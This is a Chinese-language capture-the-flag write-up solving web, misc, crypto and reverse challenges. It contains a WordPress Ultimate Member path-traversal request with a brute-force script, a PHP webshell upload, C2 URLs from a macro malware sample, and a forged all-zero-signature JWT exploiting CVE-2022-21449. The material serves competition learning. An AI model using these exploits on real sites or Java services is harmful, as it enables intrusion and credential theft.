  1. 发现一个越权,结合题目说的账号密码,猜测就是这个了,用这个越权去获得账号密码,搜到一个相关 文章的POC

https://wpscan.com/vulnerability/9d4a3f09-b011-4d87-ab63-332e505cf1cd

As a subscriber, submit a dummy image on a page/post with a File Upload field is
embed, intercept the request and change the file path parameter

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 158
Connection: close
Cookie: [subscriber+]
field_name=test&filepath=/../../../../../../../../etc/passwd&field_id=um_field_4
&form_key=Upload&action=um_show_uploaded_file&pf_nonce=4286c1c56a&is_ajax=true
If the response contains the um_remove_file, then the file exist on the server,
otherwise it does not

然后注册一个账号,用首页的upload功能,然后抓包,修改filepath,如果文件存在,那么返回包中就 会有“um_remove_file”,写个脚本跑一下

import requests

strings="ZXCVBNMASDFGHJKLQWERTYUIOP1234567890zxcvbnmasdfghjklqwertyuiop"

headers = {
    'Proxy-Connection': 'keep-alive',
    # 'Content-Length': '63635',
    'Pragma': 'no-cache',
    'Cache-Control': 'no-cache',
    'Origin': 'http://eci-2ze8d2tyn8usoaf0sv2z.cloudeci1.ichunqiu.com',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0',
    'Content-Type': 'image/jpeg',
    'Accept': '*/*',
    'Referer': 'http://eci-2ze8d2tyn8usoaf0sv2z.cloudeci1.ichunqiu.com/index.php/upload/',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    # Requests sorts cookies= alphabetically
    'Cookie': 'wordpress_e30be3ef627e539ccdd4cff2de8a86de=d1a0%7C1659416008%7CoNMtSVXQcc6SQqbOe9l41EFhZ5kB5hCp8x2qnnuTUiB%7C77037eb84c40fee56790d68876127585089ec54ed8f02666ff200a8833a98bc6; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1657598296,1657796261; wordpress_logged_in_e30be3ef627e539ccdd4cff2de8a86de=d1a0%7C1659416008%7CoNMtSVXQcc6SQqbOe9l41EFhZ5kB5hCp8x2qnnuTUiB%7C1b305b9295f6d60fb21c6b4483d85ab883d6a1b3caaca141327d307eef9d37f0',
}
for i in range(1,11):
    for s in strings:
        params = {
            'field_name': 'upload',
            'filepath': '/../../../../../username/'+str(i)+s,
            'field_id': 'um_field_2',
            'form_key': 'upload',
            'action': 'um_show_uploaded_file',
            'pf_nonce': '3a49424cc3',
            'is_ajax': 'true',
        }

        response = requests.post('http://eci-2ze8d2tyn8usoaf0sv2z.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php', params=params, headers=headers, verify=False).text
        if "umRemoveFile" in response:
            print(str(i)+s)
            break

最终得到账号MaoGePaMao,密码MaoGeYaoQiFeiLa

最后管理员账号登录后台,修改插件中的上传限制,添加php,然后传马,getflag

http://eci-2ze4p4hvj4e3ek98pkrk.cloudeci1.ichunqiu.com/wp-content/uploads/files/1.php

地址也贴心的给出了 getshell

Misc

签到

复制题目描述就完事了。

问卷调查

填问卷就完事了。

谍影重重

拿到题目,一个带密码的压缩包,一个配置文件,一个流量包。

压缩包密码说是要拿到api address,大概在流量包里。

配置文件里面看起来只给了一部分必要参数?

根据关键词"config.json" "settings" "clients" "id"查询可以发现,Google首屏结果与V2Ray高度相关,所以推测流量包是VMess协议,后续放出来的hint也证实了这一点。

看下流量包,只有127.0.0.1:37886 - 127.0.0.1:10087的往返流量,发起方是127.0.0.1:37886,所以V2Ray服务器是127.0.0.1:10087

那就想办法解析流量呗,先是去看了一下V2Fly组织(因为原组织Project V的主导者失踪了)对VMess协议的一些数据包细节:VMess 协议 | V2Fly.org

尝试写Python脚本去解析流量,在第一天中午的时候马上搞定对开头认证信息的解析(因为真的很标准,没啥难度),爆破出了流量的时间戳是16155289822021-03-12 14:03:02)。

from hashlib import md5
import hmac

uuid = bytes.fromhex("b831381d-6324-4d53-ad4f-8cda48b30811".replace('-', ''))
t = int(time.time())
target = "4dd11f9b04f2b562b9db539d939f1d52b48b35bf592c09b21545392f73f6cef91143786464578c1c361aa72f638cd0135f25343555f509aef6c74cd2a2b86ee0a9eb3b93a81a541def4763cc54f91ba02681add1b815e8c50e028c76bde0ee8a9593db88d901066305a51a9586a9e377ee100e7d4d33fcfc0453c86b1998a95275cd9368a68820c2a6a540b6386c146ea7579cfe87b2e459856772efdcf0e4c6ab0f11d018a15561cf409cbc00491d7f4d22b7c486a76a5f2f25fbef503551a0aeb90ad9dd246a9cc5e0d0c0b751eb7b54b0abbfef198b1c4e5e755077469c318f20f3e418af03540811ab5c1ea780c886ea2c903b458a26"
while True:
    t -= 1
    result = hmac.new(uuid, t.to_bytes(8, "big"), md5).digest().hex()
    if target[0:32] == result:
        print(t, result)
        break

于是开始尝试写指令部分的解析,这里花了一个小时左右搞定了大致的解析,但是版本号 Ver不知道为什么不是文档说的固定值1校验 F也不知道为什么算不对,找了一下午+一晚上的原因都没找到,于是进度卡住了。

半夜突然想到可以调用V2Ray项目直接解析看看,于是找找看看有没有现成的解析流量相关的测试接口(因为这种大型项目发版前肯定要验证的),成功找到了proxy/vmess/encoding/encoding_test.go这个测试流程,里面有通过NewServerSession函数对ServerSession进行实例化,然后调用DecodeRequestHeader函数来解析客户端发过来的认证信息+指令部分,跟过去看了下,还有个DecodeRequestBody函数可以解析数据部分,而且这俩传参都是字节流,还有这种好事?

直接把整个项目拉下来,因为对于Golang不太熟悉(之前只写过一个简单的C/S架构网络小项目,所以勉强算会写的程度),所以也有样学样创建测试流程去解析吧,毕竟万一创建主程序出事了呢?

package encoding_test

import (
    "bytes"
    "encoding/hex"
    "fmt"
    "github.com/v2fly/v2ray-core/v5/common"
    "testing"

    "github.com/v2fly/v2ray-core/v5/common/protocol"
    "github.com/v2fly/v2ray-core/v5/proxy/vmess"
    . "github.com/v2fly/v2ray-core/v5/proxy/vmess/encoding"
)

func TestCtf(t *testing.T) {
    user := &protocol.MemoryUser{
        Level: 0,
        Email: "test@v2fly.org",
    }
    account := &vmess.Account{
        Id:      "b831381d-6324-4d53-ad4f-8cda48b30811",
        AlterId: 0,
    }
    user.Account = toAccount(account)

    userValidator := vmess.NewTimedUserValidator(protocol.DefaultIDHash)
    userValidator.Add(user)
    defer common.Close(userValidator)

    sessionHistory := NewSessionHistory()
    defer common.Close(sessionHistory)

    server := NewServerSession(userValidator, sessionHistory)

    requestHex := "4dd11f9b04f2b562b9db539d939f1d52b48b35bf592c09b21545392f73f6cef91143786464578c1c361aa72f638cd0135f25343555f509aef6c74cd2a2b86ee0a9eb3b93a81a541def4763cc54f91ba02681add1b815e8c50e028c76bde0ee8a9593db88d901066305a51a9586a9e377ee100e7d4d33fcfc0453c86b1998a95275cd9368a68820c2a6a540b6386c146ea7579cfe87b2e459856772efdcf0e4c6ab0f11d018a15561cf409cbc00491d7f4d22b7c486a76a5f2f25fbef503551a0aeb90ad9dd246a9cc5e0d0c0b751eb7b54b0abbfef198b1c4e5e755077469c318f20f3e418af03540811ab5c1ea780c886ea2c903b458a26"
    requestBuffer, _ := hex.DecodeString(requestHex)
    requestBufferReader := bytes.NewReader(requestBuffer)

    requestHeader, err := server.DecodeRequestHeader(requestBufferReader)
    if err != nil {
        t.Error(err)
    }
    fmt.Println(requestHeader)
    requestBody, err := server.DecodeRequestBody(requestHeader, requestBufferReader)
    if err != nil {
        t.Error(err)
    }
    fmt.Println(requestBody)
}

然后不出意外地报错了,具体原因的话,猜测是系统当前时间的锅,因为V2Ray的加密是基于当前秒级时间戳的,具体的话,文档里面有写,说是随机取上下30s的时间戳当关键参数,并且其存在贯穿了整个数据交互。那么咱们系统当前时间戳就应该要在1615528982左右才行。

那么想办法hook掉或者硬编码掉取系统当前时间的返回值吧,上面有个vmess.NewTimedUserValidator的调用,看名字应该就是基于用户id+当前时间的验证器,进去看看怎么取当前时间的,发现用的是语言层的函数time.Now()

跟进去看看实现,先下个断点调一下看看值的格式。

看起来应该是改第一个秒钟sec就行,在第二行加一句sec = 1615528982试试,成功pass掉刚才的测试。

不过RequestHeaderRequestBody似乎都没有文本化的实现,那就去下个断点看看值吧。

看着似乎没有咱们想要的数据啊,就一个代理目标是127.0.0.1:5000,走的TCP,这个之前用Python去解析的时候就知道了。然后用加密协议怎么变成AES-128-GCM了,之前Python解析出来加密方式 Sec字段是3啊,按照文档说的应该是ChaCha20-Poly1305才对。于是去看一下代码里的相关定义,好家伙,文档居然是错的,这文档是得多久没更新也没人看啊...

那看看各自有啥函数能调用吧,应该有读取数据的接口的。

RequestHeader就一个Destination函数,看着应该是解析出代理目标用的,应该是个字段的类型转换器,没啥用。

RequestBody就一个ReadMultiBuffer函数,不过看着似乎很像咱们要的东西。

看一下项目里对这个函数的用法,因为这个函数是buf.Reader来的,所以其他各种地方的用法应该也一样。

看着似乎是要for循环一直判断有没有读完到EOF,这画风...太流式了哈哈哈。

那就照着写吧,成功搞定http请求的解析。

但是着看着没啥东西啊,就一个http://127.0.0.1:5000/outGET访问,本来刚开始以为这个就是压缩包密码说的那个api address的,但是后来放hint表示需要的是c2的地址。

所以那就继续解析http返回吧。

根据刚才的经验,合理猜测ClientSession类应该会有DecodeResponseHeaderDecodeResponseBody两个方法,那就去用NewClientSession方法实例化咯。代码依旧从项目原本的测试流程里抄。

返回流量的hex的话,因为tcp会有粘包、半包的“特性”,所以根据V2Ray1发1收的流程,下一个发送的非空数据包之前收到数据都是同一个包的半包(实际的网络情况会更复杂,毕竟还有延迟、并发啥的,这题总共就俩非空发送包,所以应该上不用考虑)

第二个数据包(92号数据流):

package encoding_test

import (
    "bytes"
    "context"
    "encoding/hex"
    "fmt"
    "github.com/v2fly/v2ray-core/v5/common"
    "io"
    "testing"

    "github.com/v2fly/v2ray-core/v5/common/protocol"
    "github.com/v2fly/v2ray-core/v5/proxy/vmess"
    . "github.com/v2fly/v2ray-core/v5/proxy/vmess/encoding"
)

func TestCtf(t *testing.T) {
    user := &protocol.MemoryUser{
        Level: 0,
        Email: "test@v2fly.org",
    }
    account := &vmess.Account{
        Id:      "b831381d-6324-4d53-ad4f-8cda48b30811",
        AlterId: 0,
    }
    user.Account = toAccount(account)

    userValidator := vmess.NewTimedUserValidator(protocol.DefaultIDHash)
    userValidator.Add(user)
    defer common.Close(userValidator)

    sessionHistory := NewSessionHistory()
    defer common.Close(sessionHistory)

    server := NewServerSession(userValidator, sessionHistory)

    requestHex := "4dd11f9b04f2b562b9db539d939f1d52b48b35bf592c09b21545392f73f6cef91143786464578c1c361aa72f638cd0135f25343555f509aef6c74cd2a2b86ee0a9eb3b93a81a541def4763cc54f91ba02681add1b815e8c50e028c76bde0ee8a9593db88d901066305a51a9586a9e377ee100e7d4d33fcfc0453c86b1998a95275cd9368a68820c2a6a540b6386c146ea7579cfe87b2e459856772efdcf0e4c6ab0f11d018a15561cf409cbc00491d7f4d22b7c486a76a5f2f25fbef503551a0aeb90ad9dd246a9cc5e0d0c0b751eb7b54b0abbfef198b1c4e5e755077469c318f20f3e418af03540811ab5c1ea780c886ea2c903b458a26"
    requestBuffer, _ := hex.DecodeString(requestHex)
    requestBufferReader := bytes.NewReader(requestBuffer)

    requestHeader, err := server.DecodeRequestHeader(requestBufferReader)
    if err != nil {
        t.Error(err)
    }
    fmt.Println(requestHeader)
    requestBody, err := server.DecodeRequestBody(requestHeader, requestBufferReader)
    if err != nil {
        t.Error(err)
    }
    fmt.Println(requestBody)
    for {
        requestBodyBuffer, err := requestBody.ReadMultiBuffer()
        if err != nil {
            if err == io.EOF {
                break
            } else {
                t.Error(err)
            }
        }
        fmt.Print(requestBodyBuffer.String())
    }
    fmt.Println()

    client := NewClientSession(context.TODO(), false, protocol.DefaultIDHash, 0)

    responseHex := "这里贴返回包的hex,特别长,放不下,就不贴了,4a231cf7开头63b871c8结尾的"
    responseBuffer, _ := hex.DecodeString(responseHex)
    responseBufferReader := bytes.NewReader(responseBuffer)

    responseHeader, err := client.DecodeResponseHeader(responseBufferReader)
    if err != nil {
        t.Error(err)
    }
    fmt.Println(responseHeader)
    responseBody, err := client.DecodeResponseBody(requestHeader, responseBufferReader)
    if err != nil {
        t.Error(err)
    }
    fmt.Println(responseBody)
}

成功报错了...

到这里进度又卡了好久,因为没想明白为什么还会有问题。

后来半夜的时候一想,文档说返回包用的keyiv是发送包里的,那咱这解析返回头的时候好像没传requestHeader啊?找了下也没地方传,毕竟正常情况下,咱作为一个客户端,keyiv就是自己生成的,没必要传啊。

所以去看下客户端存储keyiv的地方。

再看看怎么赋值的。

这怎么还跟AEAD有关系啊,文档没说啊,文档就说了非AEAD的那个情况,所以文档真的是八百年前的了...

算了不管文档,直接抄过来。然后爆红了,说是private了。

那就public一下这俩字段。

然后是keyiv的来源,和原来一样从客户端自己这边拿肯定不行,因为咱们的客户端是刚建的,不是正常情况,所以就从服务端那边拿咯。

看一下服务器的字段,确实也有存这俩东西。那就也public一下拿来用呗。

    if !client.IsAEAD {
        client.ResponseBodyKey = md5.Sum(server.RequestBodyKey[:])
        client.ResponseBodyIV = md5.Sum(server.RequestBodyIV[:])
    } else {
        BodyKey := sha256.Sum256(server.RequestBodyKey[:])
        copy(client.ResponseBodyKey[:], BodyKey[:16])
        BodyIV := sha256.Sum256(server.RequestBodyIV[:])
        copy(client.ResponseBodyIV[:], BodyIV[:16])
    }

但是还是报错了。

这回感觉没啥不对的了,只有那个AEAD是和Auth功能有关,所以关掉客户端的isAEAD看看。

这回报错变了,但是有点不理解是啥意思,去看看报错的代码细节吧。

看了下是在比对返回头的第0个字节和responseHeader,那这就是文档的响应认证 V字段啊,确实忘记这回事了,也和key/iv一样初始化一下。

    client.ResponseHeader = server.ResponseHeader

成功解析。

那就补上读取过程看看内容。

    for {
        responseBodyBuffer, err := responseBody.ReadMultiBuffer()
        if err != nil {
            if err == io.EOF {
                break
            } else {
                t.Error(err)
            }
        }
        fmt.Print(responseBodyBuffer.String())
    }
    fmt.Println()

成功读取到html内容。看了下主要内容是js里面在解一大段Base64

但是这里明显没输出完,应该是GoLand的异步日志问题,如果主进程结束太快但是日志又多的话,日志输出的内容有时候会吞掉最后的那部分。

所以根据经验,在结束之前下个断点再放行就没问题。

看了下js的大致逻辑,就是打开页面自动把Base64的解析结果保存成一个文件。

所以直接把返回包的html部分保存一下访问就能拿到一个word

那么根据之前的hintc2 api address大概率是在这个word的宏里了,因为宏病毒带cnc太常见了。

本来是打算用oletools去查看宏的,但是尝试了下发现有混淆,而且最后是写了个病毒文件,然后作为Word主题模板的dll文件让Word去调用,最后执行dll里面的cnc相关代码。

也就是说还得逆向?感觉不对啊。直接用云沙箱看看网络请求吧:样本报告-微步在线云沙箱

看了下就一个应该是查本机ip的请求,剩下应该还有三个请求因为域名解析失败没被记录。

推测是微步这个样本分析的是时候,c2服务器已经挂了,所以没解析成,于是又去找了个时间更早的外国沙箱分析报告(因为c2的域名是俄罗斯的,推测国外样本捕获比国内早):3a5648f7de99c4f87331c36983fc8adcd667743569a19c8dafdd5e8a33de154d | ANY.RUN - Free Malware Sandbox Online

确实有另外几个请求。

看一下详细的请求情况。

推测satursed.com是主服,主服没反应再看sameastar.ru次服,如果还不行才是微步那个ludiesibut.ru备用服。

先看了下api.ipify.org的请求,确实就是个查ip的api,不是c2

然后看了下sameastar.ru的请求,确实就是经典的数据统计+加密控制流一条龙的c2请求

所以题目要的api address应该就是下面这几个之一了:

http://satursed.com/8/forum.php
http://sameastar.ru/8/forum.php
http://ludiesibut.ru/8/forum.php
satursed.com/8/forum.php
sameastar.ru/8/forum.php
ludiesibut.ru/8/forum.php
satursed.com
sameastar.ru
ludiesibut.ru
/8/forum.php
8/forum.php
/forum.php
forum.php

但是试了好久都不对,md5的大小写也试了,16位32位也试了,愣是没有一个是对的。

最后不抱希望地试了下api.ipify.orgmd508229f4052dde89671134f1784bed2d6,结果真是压缩包密码...

解压出来发现有个描述:This is a Gob File!

那就用degob看看序列化之前的结构体类型吧。

实际上就是个map[string][]byte型,写个反序列化脚本看看。

package main

import (
    "encoding/gob"
    "fmt"
    "io/ioutil"
    "math/rand"
    "os"
)

func main() {
    var a map[string][]byte
    File, _ := os.Open("flag")
    D := gob.NewDecoder(File)
    err := D.Decode(&a)
    if err != nil {
        fmt.Println(err)
        return
    }
    fmt.Println(a)
}

给了刚才的gob提示、一个时间、一个png文件,但是png被加密了。

根据题目hint,说是数据被随机打乱了,那么和时间放一起,可以联想到Golangmath/rand随机库有个Shuffle功能,正好适合用来打乱,然后时间可以变成时间戳当作随机数种子去使用。

而其最常见的用法如下(来自Shuffle a slice or array · YourBasic Go):

a := []int{1, 2, 3, 4, 5, 6, 7, 8}
rand.Seed(time.Now().UnixNano())
rand.Shuffle(len(a), func(i, j int) { a[i], a[j] = a[j], a[i] })

那就照着这个用法写呗。

package main

import (
    "encoding/gob"
    "fmt"
    "io/ioutil"
    "math/rand"
    "os"
)

func main() {
    var a map[string][]byte
    File, _ := os.Open("flag")
    D := gob.NewDecoder(File)
    err := D.Decode(&a)
    if err != nil {
        fmt.Println(err)
        return
    }
    fmt.Println(a)

    b := make([]byte, len(a["PNG File"]))
    copy(b, a["PNG File"])
    rand.Seed(1658213396)
    rand.Shuffle(len(b), func(i, j int) {
        b[i], b[j] = b[j], b[i]
    })
    err = ioutil.WriteFile("b.png", b, 0777)
    if err != nil {
        panic(err)
    }
}

结果发现还是没解开。那再打乱下标尝试一下。

package main

import (
    "encoding/gob"
    "fmt"
    "io/ioutil"
    "math/rand"
    "os"
)

func main() {
    var a map[string][]byte
    File, _ := os.Open("flag")
    D := gob.NewDecoder(File)
    err := D.Decode(&a)
    if err != nil {
        fmt.Println(err)
        return
    }
    fmt.Println(a)

    b := make([]byte, len(a["PNG File"]))
    copy(b, a["PNG File"])
    c := make([]int, len(b))
    for i := 0; i < len(b); i++ {
        c[i] = i
    }
    rand.Seed(1658213396)
    rand.Shuffle(len(b), func(i, j int) {
        c[i], c[j] = c[j], c[i]
    })
    for i := 0; i < len(b); i++ {
        b[c[i]] = a["PNG File"][i]
    }
    err = ioutil.WriteFile("b.png", b, 0777)
    if err != nil {
        panic(err)
    }
}

成功解开得到如下图片。

找半天发现flag在a通道,但是数据很散。

保存出来去掉0xff应该就行了。

成功得到flag。

flag{898161df-fabf-4757-82b6-ffe407c69475}

Crypto

myJWT

这题就给了个源码和公共容器。

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.security.KeyPair;
import java.security.interfaces.ECPrivateKey;
import java.security.interfaces.ECPublicKey;
import java.security.*;
import java.util.Base64;
import java.util.Scanner;

import com.alibaba.fastjson.*;

class ECDSA{
    public KeyPair keyGen() throws Exception {
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("EC");
        keyPairGenerator.initialize(384);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        return keyPair;
    }

    public byte[] sign(byte[] str, ECPrivateKey privateKey) throws Exception {
        Signature signature = Signature.getInstance("SHA384withECDSAinP1363Format");
        signature.initSign(privateKey);
        signature.update(str);
        byte[] sig = signature.sign();
        return sig;
    }

    public boolean verify(byte[] sig, byte[] str ,ECPublicKey publicKey) throws Exception {
        Signature signature = Signature.getInstance("SHA384withECDSAinP1363Format");
        signature.initVerify(publicKey);
        signature.update(str);
        return signature.verify(sig);
    }
}

public class jwt{

    public static int EXPIRE = 60;
    public static ECDSA ecdsa = new ECDSA();
    public static String generateToken(String user, ECPrivateKey ecPrivateKey) throws Exception {
        JSONObject header = new JSONObject();
        JSONObject payload = new JSONObject();
        header.put("alg", "myES");
        header.put("typ", "JWT");
        String headerB64 = Base64.getUrlEncoder().encodeToString(header.toJSONString().getBytes());
        payload.put("iss", "qwb");
        payload.put("exp", System.currentTimeMillis() + EXPIRE * 1000);
        payload.put("name", user);
        payload.put("admin", false);
        String payloadB64 = Base64.getUrlEncoder().encodeToString(payload.toJSONString().getBytes());
        String content = String.format("%s.%s", headerB64, payloadB64);
        byte[] sig = ecdsa.sign(content.getBytes(), ecPrivateKey);
        String sigB64 = Base64.getUrlEncoder().encodeToString(sig);

        return String.format("%s.%s", content, sigB64);
    }

    public static boolean verify(String token, ECPublicKey ecPublicKey) throws Exception {
        String[] parts = token.split("\\.");
        if (parts.length != 3) {
            return false;
        }else {
            String headerB64 = parts[0];
            String payloadB64 = parts[1];
            String sigB64 = parts[2];
            String content = String.format("%s.%s", headerB64, payloadB64);
            byte[] sig = Base64.getUrlDecoder().decode(sigB64);
            return ecdsa.verify(sig, content.getBytes(), ecPublicKey);
        }

    }

    public static boolean checkAdmin(String token, ECPublicKey ecPublicKey, String user) throws Exception{
        if(verify(token, ecPublicKey)) {
            String payloadB64 = token.split("\\.")[1];
            String payloadDecodeString = new String(Base64.getUrlDecoder().decode(payloadB64));
            JSONObject payload = JSON.parseObject(payloadDecodeString);

            if(!payload.getString("name").equals(user)) {
                return false;
            }
            if (payload.getLong("exp") < System.currentTimeMillis()) {
                return false;
            }
            return payload.getBoolean("admin");
        } else {
            return false;
        }   
    }

    public static String getFlag(String token, ECPublicKey ecPublicKey, String user) throws Exception{
        String err = "You are not the administrator.";
        if(checkAdmin(token, ecPublicKey, user)) {
            File file = new File("/root/task/flag.txt");
            BufferedReader br = new BufferedReader(new FileReader(file));
            String flag = br.readLine();
            br.close();
            return flag;
        } else {
            return err;
        }
    }

    public static boolean task() throws Exception {
        Scanner input = new Scanner(System.in);
        System.out.print("your name:");
        String user = input.nextLine().strip();
        System.out.print(String.format("hello %s, let's start your challenge.\n", user));
        KeyPair keyPair = ecdsa.keyGen();
        ECPrivateKey ecPrivateKey = (ECPrivateKey) keyPair.getPrivate();
        ECPublicKey ecPublicKey = (ECPublicKey) keyPair.getPublic();
        String menu = "1.generate token\n2.getflag\n>";
        Integer choice = 0;
        Integer count = 0;
        while (count <= 10) {
            count++;
            System.out.print(menu);
            choice = Integer.parseInt(input.nextLine().strip());
            if(choice == 1) {
                String token = generateToken(user, ecPrivateKey);
                System.out.println(token);
            } else if (choice == 2) {
                System.out.print("your token:");
                String token = input.nextLine().strip();
                String flag = getFlag(token, ecPublicKey, user);
                System.out.println(flag);
                input.close();
                break;
            } else {
                input.close();
                break;
            }
        }
        return true;
    }

    public static void main(String[] args) throws Exception {
        task();
    }

}

这题用的验证是ECDSA,而今年这玩意在Java上就有个大洞,具体原理可以看CVE-2022-21449

通俗地讲,用全0的签名值就可以100%通过验证。

所以就连上去先搞个格式看看。随手输个用户名,然后拿一下token。

得到:

eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiV2Fua2tvIFJlZSIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjU5MzIxMzI4NDM4fQ==.n9etXBkmMevswYAF1prJ3245n4o-emhq4JVUq4ocoCOfbPpPjJtVB092o0h1U5SgE8b-pKaCstkhxQYH78yXYEpgI-GqHLaIc7DKZ2cHF5IZU6wdci18TFh_YspAIwpn

第一段根据之前的代码可以知道是固定的东西,不用管,第二段解码之后是{"iss":"qwb","name":"Wankko Ree","admin":false,"exp":1659321328438},按照代码的逻辑,需要admintrue,然后过期时间戳要比现在还未来(说人话就是别过期),而传过来的是之前那个时刻的时间戳,所以只要增大就完事。比如说改成{"iss":"qwb","name":"Wankko Ree","admin":true,"exp":1759321328438},那么其Base64就是eyJpc3MiOiJxd2IiLCJuYW1lIjoiV2Fua2tvIFJlZSIsImFkbWluIjp0cnVlLCJleHAiOjE3NTkzMjEzMjg0Mzh9,然后最后的签名值,全置0就完事,也就是AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

所以发送:

eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiV2Fua2tvIFJlZSIsImFkbWluIjp0cnVlLCJleHAiOjE3NTkzMjEzMjg0Mzh9.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

就可以拿到flag。

flag{cve-2022-21449_Secur1ty_0f_c0de_1mplementation}

Reverse

GameMaster

拿到题目看一下分析,发现是C#写的,那就直接dnSpy一把梭。

先是在goldFunc找到了奇怪的解码过程。

甚至看情况有AchivePoint1就有AchivePoint2AchivePoint3,所以继续找。

看过程就是先把Program.memory每字节异或34,然后用那个key(实际上是Brainstorming!!!的ascii化结果)解AES-ECB,存到Program.m,最后反序列化一下。

那先去看看Program.memory是哪里初始化的。

可以看出是从gamemessage文件读取的,那就先写个脚本解一下。

from Crypto.Cipher import AES

def main():
    with open('gamemessage', 'rb') as f:
        data = bytearray(f.read())
    for i in range(len(data)):
        data[i] ^= 34
    cipher = AES.new(b"Brainstorming!!!", AES.MODE_ECB)
    with open('gamemessage.de', 'wb') as f:
        f.write(cipher.decrypt(data))

if __name__ == '__main__':
    main()

成功得到序列化的结果。

在文件尾发现一个dll。

提取出来用dnSpy再看下,大致可以判断出来,Check1函数用array生成array2,然后array2要等于first。然后ParseKey函数用array生成array4,再用array4循环异或array5,就是最后flag。

而关键的array来自numnum又是从之前那个AchivePoint来的,但这玩意不确定具体记录的时候是多少,因为游戏是随机的,分数全看缘分。

那么只能用firstCheck1函数的逻辑倒推array了。

就一堆位运算,那就直接z3解方程吧。

from z3 import *

x, y, z = BitVecs('x y z', 64)

solver = Solver()
first = [101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5]
k = [0 for i in range(40)]
num = -1
for i in range(320):
    x = ((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1
    y = ((y >> 30 ^ y >> 27) & 1) | y << 1
    z = ((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1
    if i % 8 == 0:
        num += 1
    k[num] = (k[num] << 1) | ((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1)))

for i in range(40):
    solver.add(k[i] & 0xff == first[i])

print(solver.check())
print(solver.model())

得到y = 868387187, x = 156324965, z = 3131229747

那模拟一下ParseKey然后搞一下最后的循环异或就能出结果。

l = [156324965, 868387187, 3131229747]
key = [0 for i in range(12)]
for i in range(3):
    for j in range(4):
        key[i*4+j] = l[i] >> j * 8 & 0xff
mask = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
for i in range(len(mask)):
    mask[i] ^= key[i % len(key)]
print(bytes(mask))

flag{Y0u_@re_G3meM3s7er!}